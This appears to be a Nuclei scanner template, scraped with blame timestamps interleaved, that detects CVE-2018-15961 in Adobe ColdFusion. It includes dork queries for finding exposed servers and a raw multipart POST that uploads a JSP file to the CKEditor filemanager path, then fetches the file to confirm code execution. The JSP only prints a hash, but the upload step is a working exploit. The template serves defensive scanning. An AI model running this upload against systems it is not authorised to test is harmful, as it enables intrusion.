2021-11-10 18:08:18 +00:00
id : CVE-2018-15961
2021-11-10 18:05:59 +00:00
2021-11-10 17:46:34 +00:00
info :
2022-04-25 14:35:07 +00:00
name : Adobe ColdFusion - Unrestricted File Upload Remote Code Execution
2021-11-10 17:51:54 +00:00
author : SkyLark-Lab,ImNightmaree
2021-11-10 17:46:34 +00:00
severity : critical
2021-11-11 09:35:31 +00:00
description : Adobe ColdFusion versions July 12 release (2018.0.0.310739), Update 6 and earlier, and Update 14 and earlier have an unrestricted file upload vulnerability. Successful exploitation could lead to arbitrary code execution.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability can result in remote code execution, allowing an attacker to take control of the affected system.
2023-09-06 12:57:14 +00:00
remediation : |
Apply the necessary security patches or updates provided by Adobe to fix this vulnerability.
2021-11-11 06:21:24 +00:00
reference :
2021-11-11 09:35:31 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2018-15961
- https://github.com/xbufu/CVE-2018-15961
2022-05-17 09:18:12 +00:00
- https://helpx.adobe.com/security/products/coldfusion/apsb18-33.html
2022-07-01 10:02:07 +00:00
- http://web.archive.org/web/20220309060906/http://www.securitytracker.com/id/1041621
2023-07-15 16:29:17 +00:00
- http://www.securitytracker.com/id/1041621
2021-11-11 11:06:36 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-11-11 11:06:36 +00:00
cve-id : CVE-2018-15961
cwe-id : CWE-434
2024-05-31 19:23:20 +00:00
epss-score : 0.97436
epss-percentile : 0.99942
2023-09-06 12:57:14 +00:00
cpe : cpe:2.3:a:adobe:coldfusion:11.0:-:*:*:*:*:*:*
2022-05-10 09:21:30 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : adobe
product : coldfusion
2023-09-06 12:57:14 +00:00
shodan-query : http.component:"Adobe ColdFusion"
2024-05-31 19:23:20 +00:00
fofa-query : title="coldfusion administrator login"
google-query : intitle:"coldfusion administrator login"
2022-08-31 19:26:36 +00:00
tags : cve,cve2018,adobe,rce,coldfusion,fileupload,kev,intrusive
2021-11-10 18:05:59 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-11-10 17:46:34 +00:00
- raw :
2021-11-10 18:14:05 +00:00
- |
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1
Host : {{Hostname}}
Content-Type : multipart/form-data; boundary=---------------------------24464570528145
2021-11-10 17:46:34 +00:00
2021-11-10 18:14:05 +00:00
-----------------------------24464570528145
2021-11-11 06:21:24 +00:00
Content-Disposition : form-data; name="file"; filename="{{randstr}}.jsp"
2021-11-10 18:14:05 +00:00
Content-Type : image/jpeg
2021-11-10 17:46:34 +00:00
2021-11-11 09:35:31 +00:00
<%@ page import="java.util.*,java.io.*"%>
<%@ page import="java.security.MessageDigest"%>
<%
String cve = "CVE-2018-15961";
MessageDigest alg = MessageDigest.getInstance("MD5");
alg.reset();
alg.update(cve.getBytes());
byte[] digest = alg.digest();
StringBuffer hashedpasswd = new StringBuffer();
String hx;
for (int i=0;i<digest.length;i++){
hx = Integer.toHexString(0xFF & digest[i]);
if(hx.length() == 1){hx = "0" + hx;}
hashedpasswd.append(hx);
}
out.println(hashedpasswd.toString());
%>
2021-11-10 18:14:05 +00:00
-----------------------------24464570528145
Content-Disposition : form-data; name="path"
2021-11-10 17:46:34 +00:00
2021-11-11 06:21:24 +00:00
{{randstr}}.jsp
2021-11-10 18:14:05 +00:00
-----------------------------24464570528145 --
2021-11-11 09:35:31 +00:00
- |
GET /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/{{randstr}}.jsp HTTP/1.1
Host : {{Hostname}}
2021-11-10 17:46:34 +00:00
matchers-condition : and
matchers :
- type : word
words :
2023-07-11 19:49:27 +00:00
- "ddbb3e76f92e78c445c8ecb392beb225" # MD5 of CVE-2018-15961
2021-11-11 06:21:24 +00:00
2021-11-10 17:46:34 +00:00
- type : status
status :
- 200
2024-06-01 06:53:00 +00:00
# digest: 490a0046304402206c705261b07bb3b5134ebe70f694bcf5598515f94687a58001eccb1f58fb9e6002206cc7bf1c42677820f7b501bd2aeed96acae06ab3780e0481a51780a3a7e97c7c:922c64590222798bb761d5b6d8e72950